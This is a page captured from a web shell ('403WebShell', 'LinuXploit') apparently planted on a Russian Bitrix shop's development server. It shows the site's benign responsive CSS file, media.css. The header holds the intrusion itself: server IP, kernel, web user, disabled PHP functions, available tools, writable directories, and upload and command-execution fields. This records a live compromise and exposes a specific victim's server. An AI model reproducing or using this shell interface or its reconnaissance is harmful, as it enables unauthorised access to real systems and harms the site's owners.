%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 3.145.51.233
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/templates/artantiq/assets/css/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/templates/artantiq/assets/css/media.css
/* === DESKTOP FIRST === */

/* xl <= Extra extra large (xxl) */
@media (max-width: 1600px) {
  h2,
  .xl_title {
    font-size: 46px;
  }
  h3,
  .lg_title {
    font-size: 36px;
  }
  h4,
  .md_title {
    font-size: 30px;
  }
  h5,
  .sm_title {
    font-size: 22px;
  }
  .xl_text {
    font-size: 20px;
  }
  .lg_text {
    font-size: 18px;
  }
  .md_text {
    font-size: 16px;
  }
  .page_title {
    font-size: 26px;
  }
  .btn {
    padding: 12px 24px;
  }
  .banner .banner_text {
    top: unset;
    bottom: 157px;
  }
 /* .banner_text__title {
    margin: 0 0 16px 0;
  }*/
  .banner_text__description {
    margin: 0 0 20px 0;
  }
  .banner_text__inner {
    max-width: 45%;
  }
}

/* lg <= Extra large (xl) */
@media (max-width: 1200px) {
  h2,
  .xl_title {
    font-size: 42px;
  }
  h3,
  .lg_title {
    font-size: 32px;
  }
  h4,
  .md_title {
    font-size: 26px;
  }
  h5,
  .sm_title {
    font-size: 20px;
  }
  h6,
  .xsm_title {
    font-size: 18px;
  }
  .xl_text {
    font-size: 18px;
  }
  .lg_text {
    font-size: 16px;
  }
  .md_text {
    font-size: 16px;
  }
  .sm_text {
    font-size: 15px;
  }
  .page_title {
    font-size: 24px;
  }
  .main_nav:not(.dropdown_nav) .main_nav__item:nth-child(n+5) {
    display: none;
  }
  .main_nav__link {
    padding: 36px 22px;
  }
  .dropdown_menu_list {
    grid-template-columns: repeat(3, 1fr);
  }
  .advantages_list {
    grid-gap: 15px;
  }
  .content_wrapper {
    padding-bottom: 60px;
  }
  .section_padding_70 {
    padding: 60px 0;
  }
  .section_padding_100 {
    padding: 80px 0;
  }
  .section_title {
    margin-bottom: 40px;
  }
  .catalog_items,
  .contact_boxes {
    grid-gap: 24px;
  }
  .catalog_item__img {
    height: 23vw;
  }
  .catalog_item__title {
    line-height: 22px;
  }
  .category_item__content {
    padding: 16px;
  }
  .category_item__img {
    right: 0;
  }
  .footer__inner .footer_nav {
    max-width: 100%;
    margin-right: 40px;
  }
  .footer .logotype {
    margin-right: 40px;
  }
  .footer__inner {
    justify-content: flex-start;
  }
  .footer_refs {
    grid-template-columns: repeat(1, 1fr);
  }
  .footer_refs .footer_social {
    margin-left: 0;
    margin-top: 24px;
  }
  .with_left {
    grid-gap: 24px;
    grid-template-columns: 260px auto;
  }
  .sticker_item {
    width: 28px;
    height: 28px;
    font-size: 8px;
  }
  .basket_element__content {
    max-width: 400px;
  }
  .personal_wrapper .main_form {
    max-width: 100%;
  }
  .def_list {
    grid-template-columns: repeat(3, 1fr);
    grid-gap: 24px;
  }
  .def_list li:nth-last-child(2) {
    grid-column: span 2;
  }
  .def_list li:last-child {
    text-align: left !important;
  }
  .order_table .basket_items .basket_element {
    padding: 24px 0;
  }
  .order_table .basket_element .basket_element__right_flex {
    margin-right: 0;
  }
  .catalog_item_detail__img {
    width: 500px;
  }
  .enc_detail__inner .enc_detail__content {
    flex: 0 0 75%;
    width: 75%;
  }
  .enc_detail__sidebar .catalog_item__row {
    flex-direction: column;
  }
  .enc_detail__sidebar .catalog_item__row .catalog_item__img {
    border-bottom: none;
    border-right: 1px solid var(--border-color);
  }
  .enc_detail__sidebar .catalog_item__row .catalog_item__right {
    flex: 1;
  }
  .enc_detail__sidebar .catalog_item__row .catalog_item__left {
    flex: 0 0 25vw;
  }
  .grid_row {
    grid-template-columns: 65% auto;
  }
  .letr_txt::before {
    font-size: 180px;
    line-height: 210px;
  }
  .letr_txt {
    padding-left: 140px;
  }
  .p_l_100 {
    padding-left: 70px;
  }
  .catalog_item_details_props .props {
    grid-template-columns: auto;
    grid-gap: 0;
  }
  .text_content {
    margin-top: 0;
  }
  .text_content__inner {
    display: flex;
    flex-direction: column-reverse;
    grid-gap: 0;
  }
  .text_content .text_block {
    margin-top: 16px;
  }
  .text_content .btn {
    margin-top: 0;
  }
  .catalog_item_detail__textblock h1 {
    font-size: 28px;
  }
  .catalog_item_detail__textblock h2 {
    font-size: 24px;
  }
  .catalog_item_detail__textblock h3 {
    font-size: 22px;
  }
  .catalog_item_detail__textblock h4 {
    font-size: 20px;
  }
  .catalog_item_detail__textblock h5 {
    font-size: 18px;
  }
  .catalog_item_detail__textblock h6 {
    font-size: 16px;
  }
  .catalog_item {
    padding-bottom: 160px;
  }
  .catalog_item__content {
    max-height: 65px;
  }
  .catalog_item .catalog_item__body {
    min-height: 160px;
  }
  .callback_link::before {
    display: none;
  }
}

/* md <= Large (lg) */
@media (max-width: 992px) {
  .container {
    padding: 0 80px;
  }
  h2,
  .xl_title {
    font-size: 36px;
  }
  h3,
  .lg_title {
    font-size: 28px;
  }
  h4,
  .md_title {
    font-size: 22px;
  }
  h5,
  .sm_title {
    font-size: 18px;
  }
  h6,
  .xsm_title {
    font-size: 16px;
  }
  .xl_text {
    font-size: 16px;
  }
  .lg_text {
    font-size: 16px;
  }
  .page_title {
    font-size: 22px;
  }
  .btn {
    padding: 8px 20px;
    font-weight: 300;
  }
  .main_nav:not(.dropdown_nav) .main_nav__item:nth-child(n+3) {
    display: none;
  }
  .dropdown_menu_list {
    grid-template-columns: repeat(2, 1fr);
    grid-gap: 32px;
  }
  .icon {
    width: 24px;
    height: 24px;
  }
  .header .callback_link,
  .header .user_link {
    display: none;
  }
  .count_element {
    width: 18px;
    height: 18px;
    line-height: 18px;
    font-size: 14px;
  }
  .banner__image {
    height: 420px;
  }
  .banner .banner_text {
    bottom: 125px;
  }
  .banner_text::after {
    width: 65%;
  }
  .banner_text__inner {
    max-width: 60%;
  }
  .content_wrapper {
    padding-bottom: 50px;
  }
  .section_padding_100 {
    padding: 60px 0;
  }
  .section_padding_50 {
    padding: 40px 0;
  }
  .section_padding_60,
  .section_padding_70 {
    padding: 50px 0;
  }
  .advantages_list {
    grid-template-columns: repeat(2, 1fr);
    grid-gap: 30px;
  }
  .advantages-section::after {
    display: none;
  }
  .advantages_section {
    background-color: var(--accent);
  }
  .advantages_item__description {
    font-weight: 300;
  }
  .filter_params_buttons {
    margin-top: 12px;
  }
  .filter_params_buttons .btn:not(:last-child) {
    margin-bottom: 12px;
  }
  .enc_detail__sidebar .catalog_item__row .catalog_item__img img {
    height: 200px;
  }
  .catalog_bottom {
    margin-top: 24px;
  }
  .catalog_items_4 {
    grid-template-columns: repeat(3, 1fr);
  }
  .catalog_item__img {
    height: 25vw;
    padding: 0 16px;
    min-height: auto;
    max-height: 100%;
    transition: unset;
  }
  .catalog_item__body {
    padding: 16px;
  }
  .catalog_item_fav {
    flex: 0 0 32px;
    width: 32px;
    height: 32px;
    margin-left: 20px;
  }
  .catalog_item__foot {
    padding: 12px 16px;
  }
  .catalog_item.catalog_item__row .catalog_item__img {
    padding: 16px;
  }
  .wish_item {
    width: 26px;
    height: 26px;
  }
  .catalog_item__title {
    line-height: 24px;
  }
  .section_title .hr,
  .page_title .hr {
    margin-left: 40px;
  }
  .contact_box {
    padding: 24px;
  }
  .soc_list {
    margin-top: 16px;
  }
  .soc_item {
    flex: 0 0 40px;
    width: 40px;
    height: 40px;
  }
  .soc_item svg {
    width: 20px;
  }
  .soc_item:not(:last-child) {
    margin-right: 12px;
  }
  .footer__inner {
    display: block;
    text-align: center;
    padding: 32px 0 24px;
  }
  .footer .logotype {
    margin: 0;
  }
  .footer__inner .footer_nav {
    margin-right: 0;
    padding: 16px 0;
    margin: 16px 0;
    border-top: 1px solid rgba(255,255,255,.3);
    border-bottom: 1px solid rgba(255,255,255,.3);
  }
  .footer_nav {
    display: block;
  }
  .footer_nav li:last-child {
    margin-bottom: 0;
  }
  .footer h6 {
    margin-bottom: 16px;
  }
  .footer_refs {
    margin-top: 24px;
  }
  .footer_social .soc_list {
    justify-content: center;
  }
  .copyright {
    padding: 24px 0;
  }
  .copyright ul {
    display: block;
  }
  .copyright ul li {
    text-align: center;
  }
  .copyright ul li:not(:last-child) {
    margin-bottom: 16px;
  }
  .sale_def {
    padding: 4px 6px;
  }
  .content_top {
    padding: 32px 0 24px;
  }
  .breadcrumb {
    margin: 0 0 20px 0;
  }
  .with_left {
    display: block;
    grid-gap: 0;
  }
  .catalog_wrapper .sort_block {
    margin-top: 24px;
  }
  .filter_params {
    border-bottom: none;
    padding-bottom: 0;
  }
  .filter_params_list {
    display: grid;
    grid-template-columns: repeat(2, 1fr);
    grid-gap: 24px;
    border-bottom: 1px solid var(--border-color);
  }
  .filter_block.filter_block_menu .filter_params_list {
    grid-template-columns: repeat(1, 1fr);
  }
  .filter_params .filter_params__title {
    margin-top: 0;
    margin-bottom: 16px;
  }
  .filter_params label,
  .form_item label {
    padding-left: 32px;
    margin-bottom: 16px;
  }
  .filter_params label::after, .filter_params label::before,
  .form_item label::after, .form_item label::before {
    top: 0;
    width: 18px;
    height: 18px;
  }
  .filter_block_menu .filter_params__options {
    display: grid;
    grid-template-columns: repeat(2, 1fr);
    grid-gap: 16px;
  }
  .basket_items {
    margin-bottom: 24px;
  }
  .basket_element {
    padding: 16px 24px 16px 208px;
    flex-direction: column;
  }
  .basket_element::before {
    font-size: 14px;
    top: -12px;
  }
  .basket_element[data-title] {
    padding-top: 24px;
  }
  .basket_element[data-title] .basket_element__img {
    top: 24px;
  }
  .basket_element__close {
    top: 12px;
    right: 12px;
  }
  .basket_element__right {
    margin-left: 0;
    padding-top: 16px;
  }
  .basket_element__img {
    position: absolute;
    top: 16px;
    left: 16px;
    flex: 0 0 168px;
    width: 168px;
    height: 168px;
  }
  .basket_element__content {
    max-width: 100%;
  }
  .basket_element > div {
    margin-right: 0;
  }
  .basket_element__props {
    margin: 14px 0 10px;
  }
  .basket_element__right_flex {
    flex-direction: row-reverse;
    justify-content: flex-end;
  }
  .basket_element__right .sale_def {
    margin-right: 0;
    margin-left: 16px;
  }
  .order_block__flex {
    flex-direction: column-reverse;
  }
  .order_block__flex .info_card {
    flex: 1;
    width: 100%;
    position: relative !important;
    top: 0;
  }
  .order_block .info_card .btn {
    display: none;
  }
  .info_card__foot {
    border-bottom: 1px solid var(--border-color);
  }
  .order_block__flex .order_block__content {
    padding-right: 0;
  }
  .main_form .form_row {
    display: block;
  }
  .main_form .form_row .form_row__title {
    margin-right: 0;
  }
  .main_form input[type="text"],
  .main_form input[type="password"] {
    padding: 0 0 8px 0;
  }
  .form_row {
    margin-bottom: 24px;
  }
  .form_item label {
    margin-bottom: 0;
    margin-top: 16px;
  }
  .form_row__title {
    min-width: 100%;
    max-width: 100%;
    margin-bottom: 10px;
  }
  .order_block .alert,
  .order_block__flex .info_card,
  .personal_wrapper .alert {
    margin-bottom: 24px;
  }
  .btn.btn_lg {
    padding: 14px 24px;
  }
  .left_menu {
    display: none;
  }
  .order_table .basket_items .basket_element {
    padding: 24px 0 24px 160px;
    min-height: 180px;
  }
  .order_table .basket_element .basket_element__img {
    left: 0;
    top: 24px;
  }
  .subscribe_form.subscribe_form__accent .form_row {
    margin-bottom: 16px;
  }
  .personal_wrapper .subscribe_form .note_text {
    margin-bottom: 0;
  }
  .personal_links {
    grid-template-columns: repeat(2, 1fr);
    grid-gap: 16px;
  }
  .lb-nav a.lb-prev,
  .lb-nav a.lb-next{
    width: 50px;
    height: 50px;
  }
  .lb-nav a.lb-prev {
    left: -90px;
  }
  .lb-nav a.lb-next {
    right: -90px;
  }
  .catalog_item_detail__top {
    border: 1px solid var(--border-color);
    padding: 32px 0;
  }
  .catalog_item_detail__top.catalog_item_detail__top_flex {
    display: block;
  }
  .detail_slider .flex-viewport .slides > li a {
    position: relative;
    top: 0;
    left: 0;
    transform: none;
    padding: 0 0 24px 0;
  }
  .catalog_item_detail__content {
    border: none;
    padding: 24px 32px 0 32px;
  }
  .catalog_item_detail__content_body {
    padding: 0 0 4px;
  }
  .catalog_item_detail__img {
    border-top: none;
    border-left: none;
    margin: 0 auto;
    width: 100%;
    border-bottom: 1px solid var(--border-color);
  }
  .catalog_item_detail__content_head {
    justify-content: flex-start;
    margin-bottom: 16px;
  }
  .catalog_item_detail__content_head .sticker_item {
    margin-left: 0;
    margin-right: 8px;
  }
  .catalog_item_details_props .abs {
    position: relative;
    top: 0;
  }
  .catalog_item_details_props .show_more {
    margin-bottom: 12px;
  }
  .catalog_item_details_props ul {
    grid-template-columns: repeat(1, 1fr);
  }
  .catalog_item_detail__descr,
  .catalog_item_details_props ul,
  .catalog_item_details_props .props {
    max-width: 100%;
  }
  .catalog_item_details_props ul li span:first-child {
    min-width: 100px;
    max-width: 100px;
  }
  .catalog_item_detail > div:not(:last-child) {
    margin-bottom: 32px;
  }
  .catalog_item_detail__textblock h1, .catalog_item_detail__textblock h2, .catalog_item_detail__textblock h3, .catalog_item_detail__textblock h4, .catalog_item_detail__textblock h5, .catalog_item_detail__textblock h6 {
    margin-bottom: 24px;
  }
  .catalog_detail_items .page_title {
    margin-bottom: 24px;
  }
  .catalog_item_detail__textblock {
    max-width: 100%;
  }
  .enc_card_list {
    grid-template-columns: repeat(1, 1fr);
    grid-gap: 16px;
  }
  .enc_card .enc_card__img {
    width: 184px;
    flex: 0 0 184px;
  }
  .enc_card__content {
    padding: 24px;
  }
  .enc_wrapper .letter_list {
    display: none;
  }
  .page_nav {
    margin-top: 24px;
  }
  .enc_detail__inner {
    display: block;
  }
  .enc_detail__sidebar .catalog_items {
    grid-template-columns: repeat(3, 1fr);
    grid-gap: 24px;
  }
  .enc_detail__inner .enc_detail__content {
    flex: 0 0 100%;
    width: 100%;
    padding-right: 0;
  }
  .enc_detail__sidebar .catalog_item__row .catalog_item__right {
    display: flex;
    flex-direction: column;
    justify-content: space-between;
  }
  .enc_detail__sidebar .catalog_item__row .catalog_item__foot {
    padding: 12px;
    border-top: 1px solid var(--border-color);
  }
  .enc_detail__sidebar .catalog_item__row .catalog_item__body {
    padding: 16px 12px;
  }
  .news_items {
    grid-template-columns: repeat(1, 1fr);
    grid-gap: 24px;
    margin-bottom: 24px;
  }
  .news_wrapper .alert {
    margin-bottom: 24px;
  }
  .grid_row {
    display: block;
    grid-gap: 0;
  }
  .grid_column .detail_news_list {
    padding-top: 0;
  }
  .detail_news_list .news_items.news_items_line {
    grid-template-columns: repeat(2, 1fr);
    grid-gap: 24px;
  }
  .contacts_list {
    grid-template-columns: repeat(2, 1fr);
    grid-gap: 24px;
  }
  .acc_dates .accordion {
    grid-template-columns: repeat(1, 1fr);
    grid-gap: 24px;
  }
  .category_list {
    grid-template-columns: repeat(2, 1fr);
    grid-gap: 24px;
  }
  .page_title span:not(.hr) {
    max-width: 60%;
  }
  /*.catalog_item {
    padding-bottom: 0;
  }
  .catalog_item__content {
    max-height: 100%;
    transition: unset;
  }
  .catalog_item .catalog_item__body {
    min-height: auto;
  }
  .catalog_item .catalog_item__body {
    position: relative;
    bottom: 0;
    left: 0;
  }*/
  .catalog_item__content {
    max-height: 100px;
  }
  .left_block .filter_block:not(:last-child) {
    margin-bottom: 16px;
  }
}

/* sm <= Medium (md) */
@media (max-width: 768px) {
  h2,
  .xl-title {
    font-size: 28px;
  }
  h3,
  .lg-title {
    font-size: 26px;
  }
  .xl_text {
    font-size: 15px;
  }
  .lg_text {
    font-size: 15px;
  }
  .md_text {
    font-size: 15px;
  }
  .sm_text {
    font-size: 14px;
  }
  .header {
    padding: 12px 0;
  }
  .header .navigation {
    display: none;
  }
  .logotype {
    min-width: 70px;
    max-width: 70px;
  }
  .header .logotype {
    margin-right: 0;
  }
  .hamburger {
    display: flex;
  }
  .section_title {
    margin-bottom: 24px;
  }
  .content_wrapper {
    padding-bottom: 40px;
  }
  .section_padding_60,
  .section_padding_70 {
    padding: 40px 0;
  }
  .banner_text__title {
    margin: 0 0 12px 0;
  }
  .banner_text__description {
    margin: 0 0 16px 0;
  }
  .banner__image {
    height: 400px;
  }
  .banner_text::after {
    width: 70%;
  }
  .catalog_items_3,
  .catalog_items_4 {
    grid-template-columns: repeat(2, 1fr);
  }
  .catalog_item__img {
    height: 37vw;
  }
  .contact_boxes {
    grid-template-columns: repeat(1, 1fr);
  }
  .contact_box {
    padding: 16px;
  }
  .load_more {
    padding: 8px 0;
  }
  .basket_bottom__flex {
    flex-direction: column;
  }
  .basket_result {
    margin-bottom: 12px;
    padding: 4px 24px;
  }
  .basket_result__price {
    display: flex;
    align-items: center;
    justify-content: space-between;
  }
  .basket_bottom .btn {
    min-width: 100%;
  }
  .info_card__head, .info_card__body, .info_card__foot {
    padding: 24px;
  }
  .sort_item {
    flex-direction: column;
  }
  .sort_item__label {
    margin-right: 0;
    margin-bottom: 10px;
  }
  .sort_item_list a {
    margin-right: 7px;
    margin-bottom: 7px;
  }
  .catalog_wrapper .sort_block {
    margin-bottom: 17px;
  }
  .personal_links li .fa,
  .personal_links li a .fa {
    margin-right: 10px;
    font-size: 18px;
  }
  .lb-nav a.lb-prev,
  .lb-nav a.lb-next {
    background-color: rgba(0, 0, 0, .3);
    background-size: 16px 16px;
  }
  .lb-nav a.lb-prev,
  .lb-nav a.lb-next{
    width: 35px;
    height: 35px;
  }
  .lb-nav a.lb-prev {
    left: 10px;
  }
  .lb-nav a.lb-next {
    right: 10px;
  }
  #lightbox .lb-data .lb-close {
    width: 35px;
    height: 35px;
    background-size: 30px 30px;
    background-position: center center;
  }
  .catalog_item_detail__img {
    width: 100%;
    height: 75vw;
  }
  .catalog_item_detail__top {
    padding: 0;
  }
  .catalog_item_detail__content {
    padding: 16px;
  }
  .catalog_item_detail__content .price_block,
  .catalog_item_detail__button {
    margin-bottom: 12px;
  }
  .detail_slider .flex-viewport .slides > li a {
    padding: 16px;
  }
  .mark li {
    font-size: 10px;
    font-weight: normal;
  }
  .enc_card__content {
    padding: 16px;
  }
  .enc_detail__sidebar .catalog_items {
    grid-template-columns: repeat(2, 1fr);
    grid-gap: 16px;
  }
  .enc_detail__sidebar .catalog_bottom {
    margin-top: 24px;
  }
  .enc_detail__sidebar .enc_detail__sidebar_title {
    margin-bottom: 16px;
  }
  .text_block img {
    margin-bottom: 16px;
  }
  .text_block p {
    margin-bottom: 16px;
  }
  .text_block ul {
    margin: 0 0 16px 0;
  }
  .imr {
    padding: 16px 0;
  }
  .accordion_t2 .accordion_item__header::after {
    width: 20px;
    height: 20px;
    right: 16px;
  }
  .news_items {
    grid-gap: 16px;
    margin-bottom: 16px;
  }
  .news_item {
    padding: 16px;
  }
  .news_item__flex .news_item__img {
    margin-right: 16px;
  }
  .news_wrapper .alert {
    margin-bottom: 16px;
  }
  .alert.alert_sm {
    padding: 12px 16px;
  }
  /*.page_title span:not(.hr) {
    flex: 0 0 300px;
    max-width: 100%;
  }*/
  .detail_news_list .news_items.news_items_line {
    grid-template-columns: repeat(1, 1fr);
    grid-gap: 16px;
  }
  .detail_news_list__title {
    margin-bottom: 16px;
  }
  .contacts_list {
    margin: 0 0 24px 0;
  }
  .map {
    margin-bottom: 24px;
  }
  .acc_dates .section_title {
    margin-bottom: 24px;
  }
  .category_item__content {
    padding: 16px;
  }
  .category_item__img {
    right: 40px;
  }
  .category_list {
    grid-template-columns: repeat(1, 1fr);
    grid-gap: 16px;
  }
  .about_page img {
    max-width: 100% !important;
    height: auto;
  }
  .p_l_100 {
    padding-left: 0;
  }
  .letr_txt {
    padding-left: 70px;
    padding-bottom: 12px;
  }
  .letr_txt::before {
    font-size: 80px;
    line-height: 100px;
    height: auto;
    top: 20px;
    transform: none;
  }
  .speech {
    padding-bottom: 40px;
  }
  .speech::before, .speech::after {
    width: 48px;
    height: 33px;
  }
  .speech::before {
    top: -45px;
  }
  .speech::after {
    bottom: 10px;
  }
  .about_bottom .section_title {
    margin-bottom: 8px;
  }
  .about_bottom .hr {
    margin: 12px 0;
  }
  .text_content .text_block {
    margin-top: 8px;
  }
  .text_content .btn {
    min-width: auto;
  }
  .partners_list {
    grid-template-columns: repeat(1, 1fr);
  }
  .catalog_item_detail__textblock h1 {
    font-size: 24px;
  }
  .catalog_item_detail__textblock h2 {
    font-size: 22px;
  }
  .catalog_item_detail__textblock h3 {
    font-size: 20px;
  }
  .catalog_item_detail__textblock h4 {
    font-size: 18px;
  }
  .catalog_item_detail__textblock h5 {
    font-size: 17px;
  }
  .filter_block_menu {
    display: none;
  }
}

/* xs <= Small (sm) */
@media (max-width: 576px) {
  body {
    min-width: 280px;
  }
  .container {
    padding: 0 16px;
  }
  h2,
  .xl_title {
    font-size: 22px;
  }
  h3,
  .lg_title {
    font-size: 20px;
  }
  h6, .xsm_title {
    font-size: 14px;
  }
  .lg_text {
    font-size: 14px;
  }
  .md_text {
    font-size: 14px;
  }
  .xl_text {
    font-size: 14px;
  }
  .sm_text {
    font-size: 14px;
  }
  .btn {
    padding: 8px 16px;
  }
  .inline_refs > .link {
    margin: 0 10px;
  }
  .count_element {
    bottom: -4px;
    right: -5px;
    width: 15px;
    height: 15px;
    line-height: 15px;
    font-size: 12px;
  }
  .search_form input {
    padding: 10px 70px 10px 16px;
  }
  .search_form__button .icon {
    width: 18px;
    height: 18px;
  }
  .banner .banner_text {
    height: fit-content;
    padding: 80px 0;
    text-align: center;
    max-width: 100%;
    margin: 0;
    bottom: 0;
    top: 50%;
    transform: translateY(-50%);
  }
  .banner_text__title {
    font-size: 32px;
    margin: 0 0 32px 0;
  }
  .banner__image {
    height: 500px;
    width: 100%;
  }
  .banner_text__inner {
    max-width: 100%;
    text-align: left;
  }
  .banner_text::after {
    top: 0;
    transform: none;
    width: 100%;
    height: 100%;
    -webkit-transform: none;
    -moz-transform: none;
    -ms-transform: none;
    -o-transform: none;
  }
  .advantages_list {
    grid-template-columns: repeat(1, 1fr);
    grid-gap: 20px;
  }
  .category_item {
    min-height: 140px;
  }
  .category_item__img {
    right: 20px;
    max-width: 120px;
  }
  .catalog_items {
    grid-gap: 16px;
  }
  .catalog_item__body,
  .catalog_item__foot {
    padding: 12px;
  }
  .catalog_item__title {
    line-height: 20px;
  }
  .catalog_item__img {
    height: 47vw;
    padding: 12px;
  }
  .catalog_item_fav {
    flex: 0 0 24px;
    width: 24px;
    height: 24px;
    margin-left: 10px;
  }
  .catalog_item:not(.catalog_item__row) .catalog_item_fav {
    margin-left: auto;
    margin-top: 10px;
  }
  .catalog_item.has_stickers .catalog_item__img {
    padding: 38px 12px 12px;
  }
  .wish_item {
    width: 22px;
    height: 22px;
  }
  .catalog_bottom {
    flex-direction: column-reverse;
  }
  .catalog_bottom__flex .pagination_text {
    margin-bottom: 24px;
  }
  .contact_boxes {
    grid-gap: 16px;
  }
  .subscribe_form.subscribe_form__short input {
    min-width: auto;
  }
  .dropdown_list {
    min-width: 220px;
  }
  .dropdown_item a {
    padding: 6px 12px;
  }
  .content_top {
    padding: 24px 0 12px;
  }
  .breadcrumb {
    margin: 0 0 10px 0;
  }
  .filter_params_list {
    display: block;
    border-bottom: none;
  }
  .filter_params {
    border-bottom: 1px solid var(--border-color);
    margin-bottom: 16px;
  }
  .dropdown_list {
    left: -50%;
  }
  .sticker_item {
    font-size: 7px;
    width: 24px;
    height: 24px;
    background-size: 12px 12px;
  }
  .sticker_list .sticker_item {
    margin-left: 0;
    margin-right: 5px;
    margin-bottom: 5px;
  }
  .catalog_item .sticker_list {
    left: 3px;
  }
  .page_link {
    width: 26px;
    height: 26px;
  }
  .page_link__prev, .page_link__next {
    margin: 0 5px;
  }
  .basket_block {
    margin-top: 20px;
  }
  .basket_element {
    padding: 25px 16px 16px 16px;
  }
  .basket_element__img {
    position: relative;
    top: 0;
    left: 0;
  }
  .basket_element[data-title] .basket_element__img {
    top: 0;
  }
  .basket_element__img {
    margin: 0 auto;
  }
  .basket_element > div {
    margin-right: auto;
  }
  .basket_element__content {
    padding-top: 16px;
  }
  .basket_element__content .basket_element__fav {
    position: absolute;
    top: 7px;
    right: 0;
    z-index: 7;
  }
  .basket_element__content .basket_element__props {
    margin: 0;
    max-width: 70%;
  }
  .basket_element__title {
    margin: 12px 0 4px;
  }
  .basket_element__right {
    padding-top: 12px;
  }
  .alert {
    padding: 13px 18px;
  }
  input,
  textarea {
    font-size: 15px;
  }
  .accordion_item__header {
    padding: 16px;
  }
  .def_list {
    grid-template-columns: repeat(2, 1fr);
  }
  .def_list li:nth-last-child(2) {
    grid-column: unset;
  }
  .order_table .basket_items .basket_element {
    padding: 16px 0 16px 160px;
  }
  .order_table .basket_element .basket_element__img {
    position: absolute;
  }
  .personal_links {
    grid-template-columns: repeat(1, 1fr);
    grid-gap: 16px;
  }
  .catalog_item_detail__img {
    height: 90vw;
  }
  .page_title span:not(.hr) {
    white-space: normal;
  }
  .flex-direction-nav a {
    width: 40px;
    height: 40px;
  }
  .catalog_item_detail__button .btn {
    min-width: unset;
    width: 100%;
  }
  .note_text {
    font-size: 12px;
  }
  .enc_card .enc_card__img {
    width: 140px;
    flex: 0 0 140px;
  }
  .accordion_t2 .accordion_item__body_content {
    padding: 0 16px 16px 16px;
  }
  .contacts_list {
    margin: 0 0 16px 0;
    grid-gap: 16px;
  }
  .map {
    margin-bottom: 16px;
  }
  .acc_dates .section_title {
    margin-bottom: 16px;
  }
  .acc_dates .accordion {
    grid-gap: 16px;
  }
  .accordion_t2 .accordion_item__header::after {
    top: 16px;
  }
  .map iframe {
    height: 270px;
  }
  .text_content .btn {
    width: 100%;
  }
  .catalog_item__content,
  .catalog_item:hover .catalog_item__content {
    max-height: 75px;
  }
}

@media (max-width: 420px) {
  .sale_def {
    padding: 2px 4px;
  }
  .catalog_item__price {
    flex-direction: column;
    align-items: flex-start;
  }
  .catalog_item__price .sale_def {
    margin-top: 10px;
  }
  .main_form .btn {
    width: 100%;
  }
}

/* === MOBILE FIRST === */

/* Custom (xs) */
@media (min-width: 0) {
}

/* Small (sm) */
@media (min-width: 576px) {
}

/* Medium (md) */
@media (min-width: 768px) {
}

/* Large (lg) */
@media (min-width: 992px) {
}

/* Extra large (xl) */
@media (min-width: 1200px) {

}

/* Extra extra large (xxl) */
@media (min-width: 1400px) {

}

Youez - 2016 - github.com/yon3zu
LinuXploit